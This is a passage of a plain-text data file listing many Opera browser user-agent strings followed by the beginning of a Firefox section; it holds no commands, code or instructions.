(X11; OpenBSD i386; U; en) Opera/9.02 (Windows NT 5.0; U; en) Opera/9.02 (Windows NT 5.0; U; pl) Opera/9.02 (Windows NT 5.0; U; sv) Opera/9.02 (Windows NT 5.1; U; de) Opera/9.02 (Windows NT 5.1; U; en) Opera/9.02 (Windows NT 5.1; U; fi) Opera/9.02 (Windows NT 5.1; U; ja) Opera/9.02 (Windows NT 5.1; U; nb) Opera/9.02 (Windows NT 5.1; U; pl) Opera/9.02 (Windows NT 5.1; U; pt-br) Opera/9.02 (Windows NT 5.1; U; ru) Opera/9.02 (Windows NT 5.1; U; zh-cn) Opera/9.02 (Windows NT 5.2; U; de) Opera/9.02 (Windows NT 5.2; U; en) Opera/9.02 (Windows; U; nl) Opera/9.02 (Windows XP; U; ru) Opera/9.02 (X11; Linux i686; U; de) Opera/9.02 (X11; Linux i686; U; en) Opera/9.02 (X11; Linux i686; U; hu) Opera/9.02 (X11; Linux i686; U; pl) Opera/9.10 (Windows NT 5.1; U; es-es) Opera/9.10 (Windows NT 5.1; U; fi) Opera/9.10 (Windows NT 5.1; U; hu) Opera/9.10 (Windows NT 5.1; U; it) Opera/9.10 (Windows NT 5.1; U; nl) Opera/9.10 (Windows NT 5.1; U; pl) Opera/9.10 (Windows NT 5.1; U; pt) Opera/9.10 (Windows NT 5.1; U; sv) Opera/9.10 (Windows NT 5.1; U; zh-tw) Opera/9.10 (Windows NT 5.2; U; de) Opera/9.10 (Windows NT 5.2; U; en) Opera/9.10 (Windows NT 6.0; U; en) Opera/9.10 (Windows NT 6.0; U; it-IT) Opera/9.10 (X11; Linux i386; U; en) Opera/9.10 (X11; Linux i686; U; en) Opera/9.10 (X11; Linux i686; U; kubuntu;pl) Opera/9.10 (X11; Linux i686; U; pl) Opera/9.10 (X11; Linux; U; en) Opera/9.10 (X11; Linux x86_64; U; en) Opera/9.12 (Windows NT 5.0; U) Opera/9.12 (Windows NT 5.0; U; ru) Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) Opera/9.20 (Windows NT 5.1; U; en) Opera/9.20(Windows NT 5.1; U; en) Opera/9.20 (Windows NT 5.1; U; es-AR) Opera/9.20 (Windows NT 5.1; U; es-es) Opera/9.20 (Windows NT 5.1; U; it) Opera/9.20 (Windows NT 5.1; U; nb) Opera/9.20 (Windows NT 5.1; U; zh-tw) Opera/9.20 (Windows NT 5.2; U; en) Opera/9.20 (Windows NT 6.0; U; de) Opera/9.20 (Windows NT 6.0; U; en) Opera/9.20 (Windows NT 6.0; U; es-es) Opera/9.20 (X11; Linux i586; U; en) Opera/9.20 (X11; Linux i686; U; en) Opera/9.20 (X11; Linux i686; U; es-es) Opera/9.20 (X11; Linux i686; U; pl) Opera/9.20 (X11; Linux i686; U; ru) Opera/9.20 (X11; Linux i686; U; tr) Opera/9.20 (X11; Linux ppc; U; en) Opera/9.20 (X11; Linux x86_64; U; en) Opera/9.21 (Macintosh; Intel Mac OS X; U; en) Opera/9.21 (Macintosh; PPC Mac OS X; U; en) Opera/9.21 (Windows 98; U; en) Opera/9.21 (Windows NT 5.0; U; de) Opera/9.21 (Windows NT 5.1; U; de) Opera/9.21 (Windows NT 5.1; U; en) Opera/9.21 (Windows NT 5.1; U; fr) Opera/9.21 (Windows NT 5.1; U; nl) Opera/9.21 (Windows NT 5.1; U; pl) Opera/9.21 (Windows NT 5.1; U; pt-br) Opera/9.21 (Windows NT 5.1; U; ru) Opera/9.21 (Windows NT 5.2; U; en) Opera/9.21 (Windows NT 6.0; U; en) Opera/9.21 (Windows NT 6.0; U; nb) Opera/9.21 (X11; Linux i686; U; de) Opera/9.21 (X11; Linux i686; U; en) Opera/9.21 (X11; Linux i686; U; es-es) Opera/9.21 (X11; Linux x86_64; U; en) Opera/9.22 (Windows NT 5.1; U; en) Opera/9.22 (Windows NT 5.1; U; fr) Opera/9.22 (Windows NT 5.1; U; pl) Opera/9.22 (Windows NT 6.0; U; en) Opera/9.22 (Windows NT 6.0; U; ru) Opera/9.22 (X11; Linux i686; U; de) Opera/9.22 (X11; Linux i686; U; en) Opera/9.22 (X11; OpenBSD i386; U; en) Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) Opera/9.23 (Mac OS X; fr) Opera/9.23 (Mac OS X; ru) Opera/9.23 (Windows NT 5.0; U; de) Opera/9.23 (Windows NT 5.0; U; en) Opera/9.23 (Windows NT 5.1; U; da) Opera/9.23 (Windows NT 5.1; U; de) Opera/9.23 (Windows NT 5.1; U; en) Opera/9.23 (Windows NT 5.1; U; fi) Opera/9.23 (Windows NT 5.1; U; it) Opera/9.23 (Windows NT 5.1; U; ja) Opera/9.23 (Windows NT 5.1; U; pt) Opera/9.23 (Windows NT 5.1; U; zh-cn) Opera/9.23 (Windows NT 6.0; U; de) Opera/9.23 (X11; Linux i686; U; en) Opera/9.23 (X11; Linux i686; U; es-es) Opera/9.23 (X11; Linux x86_64; U; en) Opera/9.24 (Macintosh; PPC Mac OS X; U; en) Opera/9.24 (Windows NT 5.0; U; ru) Opera/9.24 (Windows NT 5.1; U; ru) Opera/9.24 (Windows NT 5.1; U; tr) Opera/9.24 (X11; Linux i686; U; de) Opera/9.24 (X11; SunOS i86pc; U; en) Opera/9.25 (Macintosh; Intel Mac OS X; U; en) Opera/9.25 (Macintosh; PPC Mac OS X; U; en) Opera/9.25 (OpenSolaris; U; en) Opera/9.25 (Windows NT 4.0; U; en) Opera/9.25 (Windows NT 5.0; U; cs) Opera/9.25 (Windows NT 5.0; U; en) Opera/9.25 (Windows NT 5.1; U; de) Opera/9.25 (Windows NT 5.1; U; lt) Opera/9.25 (Windows NT 5.1; U; ru) Opera/9.25 (Windows NT 5.1; U; zh-cn) Opera/9.25 (Windows NT 5.2; U; en) Opera/9.25 (Windows NT 6.0; U; en-US) Opera/9.25 (Windows NT 6.0; U; ru) Opera/9.25 (Windows NT 6.0; U; sv) Opera/9.25 (X11; Linux i686; U; en) Opera/9.25 (X11; Linux i686; U; fr) Opera/9.25 (X11; Linux i686; U; fr-ca) Opera/9.26 (Macintosh; PPC Mac OS X; U; en) Opera/9.26 (Windows NT 5.1; U; de) Opera/9.26 (Windows NT 5.1; U; nl) Opera/9.26 (Windows NT 5.1; U; pl) Opera/9.26 (Windows NT 5.1; U; zh-cn) Opera/9.26 (Windows; U; pl) Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) Opera/9.27 (Windows NT 5.1; U; ja) Opera/9.27 (Windows NT 5.2; U; en) Opera/9.27 (X11; Linux i686; U; en) Opera/9.27 (X11; Linux i686; U; fr) Opera 9.4 (Windows NT 5.3; U; en) Opera 9.4 (Windows NT 6.1; U; en) Opera/9.50 (Macintosh; Intel Mac OS X; U; de) Opera/9.50 (Macintosh; Intel Mac OS X; U; en) Opera/9.50 (Windows NT 5.1; U; es-ES) Opera/9.50 (Windows NT 5.1; U; it) Opera/9.50 (Windows NT 5.1; U; nl) Opera/9.50 (Windows NT 5.1; U; nn) Opera/9.50 (Windows NT 5.1; U; ru) Opera/9.50 (Windows NT 5.2; U; it) Opera/9.50 (X11; Linux i686; U; es-ES) Opera/9.50 (X11; Linux ppc; U; en) Opera/9.50 (X11; Linux x86_64; U; nb) Opera/9.50 (X11; Linux x86_64; U; pl) Opera/9.51 (Macintosh; Intel Mac OS X; U; en) Opera/9.51 (Windows NT 5.1; U; da) Opera/9.51 (Windows NT 5.1; U; en) Opera/9.51 (Windows NT 5.1; U; en-GB) Opera/9.51 (Windows NT 5.1; U; es-AR) Opera/9.51 (Windows NT 5.1; U; es-LA) Opera/9.51 (Windows NT 5.1; U; fr) Opera/9.51 (Windows NT 5.1; U; nn) Opera/9.51 (Windows NT 5.2; U; en) Opera/9.51 (Windows NT 6.0; U; en) Opera/9.51 (Windows NT 6.0; U; es) Opera/9.51 (Windows NT 6.0; U; sv) Opera/9.51 (X11; Linux i686; U; de) Opera/9.51 (X11; Linux i686; U; fr) Opera/9.51 (X11; Linux i686; U; Linux Mint; en) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) Opera/9.52 (Windows NT 5.0; U; en) Opera/9.52 (Windows NT 5.2; U; ru) Opera/9.52 (Windows NT 6.0; U; de) Opera/9.52 (Windows NT 6.0; U; en) Opera/9.52 (Windows NT 6.0; U; fr) Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) Opera/9.52 (X11; Linux i686; U; cs) Opera/9.52 (X11; Linux i686; U; en) Opera/9.52 (X11; Linux i686; U; fr) Opera/9.52 (X11; Linux ppc; U; de) Opera/9.52 (X11; Linux x86_64; U) Opera/9.52 (X11; Linux x86_64; U; en) Opera/9.52 (X11; Linux x86_64; U; ru) Opera/9.5 (Windows NT 5.1; U; fr) Opera/9.5 (Windows NT 6.0; U; en) Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.60 (X11; Linux x86_64; U) Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 Opera/9.63 (X11; Linux i686) Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; en) Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; ru) Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 Opera 9.7 (Windows NT 5.2; U; en) Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5 Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51 Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10 Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 Opera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11 Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11 Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10 Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 Opera/9.99 (X11; U; sk) Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00 Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00 Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02 # Mozilla Firefox mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1 Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8) Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4 Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4 Mozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 